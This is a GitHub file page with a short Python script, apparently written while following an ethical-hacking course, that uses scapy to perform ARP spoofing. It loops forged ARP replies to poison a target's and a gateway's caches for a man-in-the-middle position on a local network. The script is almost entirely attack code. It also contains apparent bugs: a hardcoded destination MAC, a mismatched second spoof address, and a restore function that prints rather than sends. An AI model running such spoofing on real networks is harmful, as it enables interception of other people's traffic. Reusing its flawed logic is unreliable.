-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharp_spoof.py
38 lines (33 loc) · 1.19 KB
/
arp_spoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
#created while learning from zaid sabih course
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst="08:00:27:12:dd:27", psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
print(packet.show())
print(packet.summary())
restore("192.168.1.6", "192.168.1.1")
try:
sent_packets_count = 0
while True:
spoof("192.168.1.6", "192.168.1.1")
spoof("192.168.1.1", "192.168.2.1")
sent_packets_count = sent_packets_count + 2
print("\r[+] Packets sent : " + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("[+] Detect CTRL + C ..... Quitting. ")